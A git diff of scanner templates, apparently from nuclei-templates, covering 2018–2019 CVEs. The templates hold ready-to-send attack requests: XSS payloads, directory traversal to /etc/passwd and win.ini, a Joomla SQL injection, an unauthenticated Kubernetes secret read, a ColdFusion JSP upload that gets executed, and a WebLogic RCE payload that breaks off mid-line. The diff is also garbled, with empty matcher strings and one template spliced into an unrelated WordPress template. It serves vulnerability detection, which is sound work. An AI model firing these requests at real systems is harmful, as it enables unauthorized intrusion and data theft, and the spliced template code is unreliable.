"{{BaseURL}}/zimbra/h/search?si=1&so=0&sfi=4&st=message&csi=1&action=&cso=0&id=%22%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + words: + - '' + part: body + + - type: status + status: + - 200 + + - type: word + part: header + words: + - text/html diff --git a/nuclei-templates/CVE-2018/cve-2018-14064.yaml b/nuclei-templates/CVE-2018/cve-2018-14064.yaml deleted file mode 100644 index f3452b953f..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-14064.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2018-14064 - -info: - name: VelotiSmart Wifi - Directory Traversal - author: 0x_Akoko - severity: critical - description: The uc-http service 1.0.0 on VelotiSmart WiFi B-380 camera devices allows Directory Traversal, as demonstrated by /../../etc/passwd on TCP port 80. - reference: - - https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac - - https://www.exploit-db.com/exploits/45030 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14064 - tags: cve,cve2018,lfi,camera,iot - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-14064 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14474.yaml b/nuclei-templates/CVE-2018/cve-2018-14474.yaml similarity index 100% rename from nuclei-templates/CVE-2018/CVE-2018-14474.yaml rename to nuclei-templates/CVE-2018/cve-2018-14474.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-14574.yaml b/nuclei-templates/CVE-2018/cve-2018-14574.yaml new file mode 100644 index 0000000000..18f87e359a --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-14574.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-14574 + +info: + name: Django Open Redirect + author: pikpikcu + severity: medium + tags: cve,cve2018,django,redirect + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-14574 + cwe-id: CWE-601 + description: "django.middleware.common.CommonMiddleware in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect." + reference: + - https://www.djangoproject.com/weblog/2018/aug/01/security-releases/ + - https://usn.ubuntu.com/3726-1/ + - http://www.securitytracker.com/id/1041403 + - https://www.debian.org/security/2018/dsa-4264 + - http://www.securityfocus.com/bid/104970 + - https://access.redhat.com/errata/RHSA-2019:0265 + +requests: + - method: GET + path: + - "{{BaseURL}}//www.example.com" + + matchers-condition: and + matchers: + - type: status + status: + - 301 + - type: word + words: + - "Location: https://www.example.com" + - "Location: http://www.example.com" + part: header diff --git a/nuclei-templates/CVE-2018/cve-2018-14916.yaml b/nuclei-templates/CVE-2018/cve-2018-14916.yaml new file mode 100644 index 0000000000..984ff08fd7 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-14916.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-14916 +info: + name: Loytec LGATE-902 Directory Traversal + author: 0x_Akoko + severity: critical + description: Loytec LGATE-902 versions prior to 6.4.2 suffer from cross site scripting, arbitrary file deletion, and directory traversal vulnerabilities. + reference: + - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-14916 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.4 + cve-id: CVE-2018-14916 + cwe-id: CWE-732 + tags: cve,cve2018,loytec,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-14931.yaml b/nuclei-templates/CVE-2018/cve-2018-14931.yaml deleted file mode 100644 index 357eff1aeb..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-14931.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2018-14931 - -info: - name: Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect - author: 0x_Akoko - severity: low - description: An issue was discovered in the Core and Portal modules in Polaris FT Intellect Core Banking 9.7.1. An open redirect exists via a /IntellectMain.jsp?IntellectSystem= URI. - reference: - - https://neetech18.blogspot.com/2019/03/polaris-intellect-core-banking-software_31.html - - https://www.cvedetails.com/cve/CVE-2018-14931 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2018-14931 - cwe-id: CWE-601 - tags: cve,cve2018,redirect,polarisft,intellect - -requests: - - method: GET - - path: - - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.example.com' - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2018/cve-2018-15473.yaml b/nuclei-templates/CVE-2018/cve-2018-15473.yaml deleted file mode 100644 index 0fa74f21ac..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-15473.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2018-15473 - -info: - name: OpenSSH Username Enumeration <= v7.7 - author: r3dg33k,daffainfo,forgedhallpass - severity: medium - description: OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. - reference: https://nvd.nist.gov/vuln/detail/CVE-2018-15473 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2018-15473 - cwe-id: CWE-362 - tags: network,openssh,cve,cve2018 - -network: - - host: - - "{{Hostname}}" - - "{{Host}}:22" - - matchers: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r]+|7\.[0-7][^\d][^\r]+)' - - extractors: - - type: regex - regex: - - '(?i)SSH-2.0-OpenSSH_[^\r]+' diff --git a/nuclei-templates/CVE-2018/cve-2018-15535.yaml b/nuclei-templates/CVE-2018/cve-2018-15535.yaml new file mode 100644 index 0000000000..2304115e39 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-15535.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-15535 + +info: + name: Responsive FileManager < 9.13.4 - Directory Traversal + author: daffainfo + severity: high + description: filemanager/ajax_calls.php in tecrail Responsive FileManager before 9.13.4 uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize get_file sequences such as ".." that can resolve to a location that is outside of that directory, aka Directory Traversal. + reference: + - https://www.exploit-db.com/exploits/45271 + - https://www.cvedetails.com/cve/CVE-2018-15535 + tags: cve,cve2018,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-15535 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-15745.yaml b/nuclei-templates/CVE-2018/cve-2018-15745.yaml deleted file mode 100644 index 5b249a3069..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-15745.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-15745 - -info: - name: Argus Surveillance DVR - Directory Traversal - author: gy741 - severity: high - description: Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. - reference: http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt - tags: cve,cve2018,argussurveillance,lfi - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2018-15745 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "for 16-bit app support" - - "[drivers]" - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-15961.yaml b/nuclei-templates/CVE-2018/cve-2018-15961.yaml new file mode 100644 index 0000000000..fc6dc72993 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-15961.yaml @@ -0,0 +1,65 @@ +id: CVE-2018-15961 + +info: + name: Adobe ColdFusion Unrestricted File Upload RCE + author: SkyLark-Lab,ImNightmaree + severity: critical + description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-15961 + - https://github.com/xbufu/CVE-2018-15961 + tags: cve,cve2018,adobe,rce,coldfusion,fileupload + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-15961 + cwe-id: CWE-434 + +requests: + - raw: + - | + POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=---------------------------24464570528145 + + -----------------------------24464570528145 + Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp" + Content-Type: image/jpeg + + <%@ page import="java.util.*,java.io.*"%> + <%@ page import="java.security.MessageDigest"%> + <% + String cve = "CVE-2018-15961"; + MessageDigest alg = MessageDigest.getInstance("MD5"); + alg.reset(); + alg.update(cve.getBytes()); + byte[] digest = alg.digest(); + StringBuffer hashedpasswd = new StringBuffer(); + String hx; + for (int i=0;i + -----------------------------24464570528145 + Content-Disposition: form-data; name="path" + + {{randstr}}.jsp + -----------------------------24464570528145-- + + - | + GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + + - type: word + words: + - "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961 + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-16133.yaml b/nuclei-templates/CVE-2018/cve-2018-16133.yaml deleted file mode 100644 index 6acefb5047..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-16133.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-16133 -info: - name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal - author: 0x_Akoko - severity: medium - description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. - reference: - - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html - - http://www.cybrotech.com/ - - https://www.cvedetails.com/cve/CVE-2018-16133 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2018-16133 - cwe-id: CWE-22 - tags: cve,cve2018,cybrotech,lfi - -requests: - - raw: - - |+ - GET \..\..\..\..\Windows\win.ini HTTP/1.1 - Host: {{Hostname}} - - unsafe: true - matchers: - - type: word - part: body - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-16288.yaml b/nuclei-templates/CVE-2018/cve-2018-16288.yaml new file mode 100644 index 0000000000..d74869f104 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-16288.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-16288 + +info: + name: LG SuperSign EZ CMS 2.5 - Local File Inclusion + author: daffainfo + severity: high + description: LG SuperSign CMS allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs. + reference: + - https://www.exploit-db.com/exploits/45440 + - https://www.cvedetails.com/cve/CVE-2018-16288 + tags: cve,cve2018,lfi + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.60 + cve-id: CVE-2018-16288 + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-16836.yaml b/nuclei-templates/CVE-2018/cve-2018-16836.yaml new file mode 100644 index 0000000000..0a8102bf1d --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-16836.yaml @@ -0,0 +1,29 @@ +id: CVE-2018-16836 + +info: + name: Rubedo CMS 3.4.0 - Directory Traversal + author: 0x_Akoko + severity: critical + reference: https://www.exploit-db.com/exploits/45385 + tags: cve,cve2018,rubedo,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-16836 + cwe-id: CWE-22 + description: "Rubedo through 3.4.0 contains a Directory Traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI." + +requests: + - method: GET + path: + - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-17254.yaml b/nuclei-templates/CVE-2018/cve-2018-17254.yaml deleted file mode 100644 index 4cfc98d6bf..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-17254.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2018-17254 - -info: - name: Joomla JCK Editor SQL Injection - author: Suman_Kar - description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter. - severity: critical - tags: joomla,sqli,cve,cve2018 - reference: - - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html - - https://www.exploit-db.com/exploits/45423/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-17254 - cwe-id: CWE-89 - -requests: - - raw: - - | - GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),0x6e75636c65692d74656d706c617465),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - - matchers: - - type: word - part: body - words: - - "nuclei-template" diff --git a/nuclei-templates/CVE-2018/CVE-2018-17422.yaml b/nuclei-templates/CVE-2018/cve-2018-17422.yaml similarity index 100% rename from nuclei-templates/CVE-2018/CVE-2018-17422.yaml rename to nuclei-templates/CVE-2018/cve-2018-17422.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-18264.yaml b/nuclei-templates/CVE-2018/cve-2018-18264.yaml deleted file mode 100644 index c7c2dc378f..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-18264.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-18264 - -info: - name: Kubernetes Dashboard unauthenticated secret access - author: edoardottt - severity: high - description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-18264 - cwe-id: CWE-306 - metadata: - shodan-query: product:"Kubernetes" - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 - - https://github.com/kubernetes/dashboard/pull/3289 - - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ - tags: cve,cve2018,kubernetes,k8s,unauth - -requests: - - method: GET - path: - - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" - - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: dsl - dsl: - - 'contains(body, "apiVersion") && contains(body, "objectRef")' \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-18323.yaml b/nuclei-templates/CVE-2018/cve-2018-18323.yaml deleted file mode 100644 index e214ec632c..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-18323.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2018-18323 -info: - name: Centos Web Panel 0.9.8.480 LFI - author: 0x_Akoko - severity: high - description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. - reference: - - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html - - http://centos-webpanel.com/ - - https://www.cvedetails.com/cve/CVE-2018-18323 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-18323 - cwe-id: CWE-22 - tags: cve,cve2018,centos,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-18570.yaml b/nuclei-templates/CVE-2018/cve-2018-18570.yaml deleted file mode 100644 index 51249a06a8..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-18570.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-18570 -info: - name: Cross-Site Scripting on Planon web application - author: emadshanab - severity: medium - description: Planon before Live Build 41 has XSS - reference: - - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-18570 - tags: xss,cve,cve2018,planon - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2018-18570 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2018/cve-2018-18608.yaml b/nuclei-templates/CVE-2018/cve-2018-18608.yaml new file mode 100644 index 0000000000..c9d46aecf6 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-18608.yaml @@ -0,0 +1,56 @@ +id: CVE-2018-18608 + +info: + name: DedeCMS 5.7 SP2 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability. + reference: + - https://github.com/ky-j/dedecms/issues/8 + - https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx + - https://nvd.nist.gov/vuln/detail/CVE-2018-18608 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-18608 + cwe-id: CWE-79 + epss-score: 0.00177 + epss-percentile: 0.54991 + cpe: cpe:2.3:a:dedecms:dedecms:5.7:sp2:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: dedecms + product: dedecms + shodan-query: http.html:"DedeCms" + tags: cve2018,cve,dedecms,xss + +http: + - method: GET + path: + - "{{BaseURL}}/plus/feedback.php/rp4hu%27>" + - "/wp-content/themes/citybook" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-20354.yaml b/nuclei-templates/CVE-2019/CVE-2019-20354.yaml deleted file mode 100644 index ac3941c763..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-20354.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: CVE-2019-20354 -info: - author: "pikpikcu" - name: "piSignage 2.6.4 Directory Traversal" - severity: High - #Source:-https://github.com/colloqi/piSignage/issues/97 -requests: - - raw: - - "GET /api/settings/log?file=../../../../../../../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 277\nConnection: close\nReferer: {{Hostname}}\n \n" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - part: body - regex: - - "root:[x*]:0:0:" diff --git a/nuclei-templates/CVE-2019/CVE-2019-20933.yaml b/nuclei-templates/CVE-2019/CVE-2019-20933.yaml new file mode 100644 index 0000000000..c690a67121 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-20933.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-20933 +info: + name: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret + author: c-sh0 + severity: critical + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 + - https://github.com/influxdata/influxdb/issues/12927 + - https://github.com/c-sh0/security/blob/master/influxdb.txt + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2019-20933 + cwe-id: CWE-287 + tags: cve,cve-2019,influxdb,auth-bypass +requests: + - method: GET + path: + - "{{BaseURL}}/query?q=SHOW%20DATABASES" + headers: + Authorization: Bearer {{token}} + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - '"results":' + - '"name":"databases"' + condition: and diff --git a/nuclei-templates/CVE-2019/CVE-2019-2588.yaml b/nuclei-templates/CVE-2019/CVE-2019-2588.yaml deleted file mode 100644 index 493bd571df..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-2588.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-2588 - -info: - name: Oracle Business Intelligence - Path Traversal - author: madrobot - severity: medium - description: | - Oracle Business Intelligence versions 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0 are vulnerable to path traversal in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware (subcomponent: BI Publisher Security). - reference: - - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html - - https://nvd.nist.gov/vuln/detail/CVE-2019-2588 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N - cvss-score: 4.9 - cve-id: CVE-2019-2588 - tags: cve,cve2019,oracle,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini" - matchers-condition: and - matchers: - - type: word - words: - - 'for 16-bit app support' - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/14 diff --git a/nuclei-templates/CVE-2019/CVE-2019-2616.yaml b/nuclei-templates/CVE-2019/CVE-2019-2616.yaml deleted file mode 100644 index f6c8aa1ffb..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-2616.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2019-2616 -info: - name: XXE in Oracle Business Intelligence and XML Publisher - author: pdteam - severity: high - description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-2616 - - https://www.exploit-db.com/exploits/46729 - - http://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N - cvss-score: 7.2 - cve-id: CVE-2019-2616 - tags: cve,cve2019,oracle,xxe,oast,kev -requests: - - raw: - - | - POST /xmlpserver/ReportTemplateService.xls HTTP/1.1 - Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 - Content-Type: text/xml; charset=UTF-8 - - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2019/CVE-2019-2729.yaml b/nuclei-templates/CVE-2019/CVE-2019-2729.yaml deleted file mode 100644 index 4c610c3840..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-2729.yaml +++ /dev/null @@ -1,62 +0,0 @@ -id: CVE-2019-2729 - -info: - name: Oracle WebLogic Server Administration Console - Remote Code Execution - author: igibanez - severity: critical - description: | - The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 0.3.6.0.0, 12.1.3.0.0 and 12.2.1.3.0 contain an easily exploitable vulnerability that allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. - reference: - - https://www.oracle.com/security-alerts/alert-cve-2019-2729.html - - https://nvd.nist.gov/vuln/detail/CVE-2019-2729 - - http://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2729-5570780.html - - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-2729 - cwe-id: CWE-284 - epss-score: 0.9715 - tags: cve,cve2019,oracle,rce,weblogic - metadata: - max-request: 3 - -http: - - raw: - - | - POST /wls-wsat/CoordinatorPortType HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 - - xxxxorg.slf4j.ext.EventData<java><void class="sun.misc.BASE64Decoder"><void method="decodeBuffer" 